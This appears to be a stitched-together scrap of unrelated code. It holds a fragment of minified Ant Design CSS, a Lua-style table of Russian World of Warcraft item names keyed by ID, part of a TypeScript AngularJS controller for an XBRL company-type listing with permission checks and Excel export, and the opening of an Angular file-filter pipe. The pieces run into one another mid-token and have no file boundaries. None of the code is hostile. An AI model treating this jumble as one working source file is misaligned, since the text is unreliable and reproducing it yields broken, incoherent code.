.4s;animation:tailEffect .4s}.ant-steps .ant-steps-item.ant-steps-status-finish .ant-steps-description,.ant-steps .ant-steps-item.ant-steps-status-finish .ant-steps-title{color:rgba(0,0,0,.43)}.ant-steps .ant-steps-item.ant-steps-statu


= "Сапоги Зыбучего кошмара",
  [30051] = "Идол Богини Полумесяца",
  [30052] = "Смертоносное кольцо",
  [30053] = "Наплечье Танцора боя",
  [30054] = "Нагрудный доспех предводителя следопытов",
  [30055] = "Наплечные пластины странника",
  [30056] = "Одеяние злобного эха",
  [30057] = "Наручи истребления",
  [30058] = "Молот приливов",
  [30059] = "Колье Чувственной ярости",
  [30060] = "Сапоги легкого боя",
  [30061] = "Кольцо завоеваний предков",
  [30062] = "Повязки Ремула",
  [30063] = "Манускрипт абсолютной правды",
  [30064] = "Шнурованный ремень Вопящего Ужаса",
  [30065] = "Светящаяся кираса Истины",
  [30066] = "Сапоги ураганного странника",
  [30067] = "Бархатные сапоги Стража",
  [30068] = "Ремень Приливного зова",
  [30069] = "Поножи земной кузни",
  [30070] = "Закаленные ветрами поножи",
  [30071] = "Легкий клинок земной кузни",
  [30072] = "Легкий топор небесной кузни",
  [30073] = "Легкий углекованный молот",
  [30074] = "Тяжелая броня земной кузни",
  [30075] = "Корявый нагрудник древних",
  [30076] = "Закаленный бурей хауберк",
  [30077] = "Закаленная ветрами рапира",
  [30078] = "Monster - Mace, Basic Metal Hammer (Fiery)",
  [30079] = "Наплечные пластины Иллидари",
  [30080] = "Светящийся жезл наару",
  [30081] = "Боевые сапоги уничтожения",
  [30082] = "Коготь Азшары",
  [30083] = "Кольцо разлученных душ",
  [30084] = "Наплечье часового Серебряного Рассвета",
  [30085] = "Мантия неутомимого следопыта",
  [30086] = "Окованный камнем клеймор",
  [30087] = "Закаленный бурей топор",
  [30088] = "Большой топор небесной кузни",
  [30089] = "Закаленный в лаве боевой молот",
  [30090] = "Миродробитель",
  [30091] = "Поручи меткости преследователя",
  [30092] = "Сапоги из шкуры косатки",
  [30093] = "Большой молот земной кузни",
  [30094]


ExcelSucess(data: any): void
        {
            var blob = new Blob([data], { type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' });
            saveAs(blob, 'TiposEmpresa.xls');
        }

        /**
        * Inicializa los elementos de la clase.
        **/
        private init():void
        {
            var $self = this;
            var $scope = $self.$scope;

            $scope.estaCargandoListadoElementos = true;
            $scope.estaExportandoExcel = false;
            $scope.existenElementos = false;
            $scope.puedeRegistrarNuevoElemento = $scope.tieneFacultad(AbaxXBRLFacultadesEnum.InsertarTipoEmpresa);
            $scope.puedeEditar = $scope.tieneFacultad(AbaxXBRLFacultadesEnum.EditarTipoEmpresa);
            $scope.puedeBorrar = $scope.tieneFacultad(AbaxXBRLFacultadesEnum.EliminarTipoEmpresa);
            $scope.puedeExportarExcel = $scope.tieneFacultad(AbaxXBRLFacultadesEnum.ExportarListadoTiposEmpresa);
            $scope.puedeAsignarTaxonomias = $scope.tieneFacultad(AbaxXBRLFacultadesEnum.AsignarTaxonomiaTipoEmpresa);
            $scope.opcionesDataTableActual = shared.service.AbaxXBRLUtilsService.creaOpcionesDataTable();

            $scope.irRegistrarNuevoElemento = function (): void { $self.irRegistrarNuevoElemento(); };
            $scope.irAsignarTaxonomias = function (elemento: shared.modelos.ITipoEmpresa): void { $self.irAsignarTaxonomias(elemento); };
            $scope.irEditar = function (elemento: shared.modelos.ITipoEmpresa): void { $self.irEditar(elemento); };
            $scope.eliminar = function (elemento: shared.modelos.ITipoEmpresa): void { $self.eliminar(elemento); };
            $scope.exportaAExcel = function () { $self.exportaAExcel(); };
            $self.obtenerListadoElementos();
        }
        /**
        * Consstructor del controlador.
        * @param $scope Scope de interacción con la vista.
        * @param abaxXBRLRequestService
        **/
        constructor($scope: IAbaxXBRLListadoTipoEmpresaScope, abaxXBRLRequestService: shared.service.AbaxXBRLRequestService)
        {
            this.$scope = $scope;
            this.abaxXBRLRequestService = abaxXBRLRequestService;
            this.init();
        }
    }
    /**
    * Definimos los elementos a inyectar en el construcotr de la calse.
    **/
    AbaxXBRLListadoTipoEmpresaController.$inject = ['$scope', 'abaxXBRLRequestService'];
} import { PipeTransform, Pipe } from '@angular/core';
import { FileUpload } from '../upload/fileupload';

@Pipe({
    // The name we use in our list-upload.component.html
    name: 'fileFilter'
})
export class FileFilterPipe implements PipeTransform{

    // The first parameter is the list of files,
    // and then the name of the file.
    transform(fileUploads: FileUpl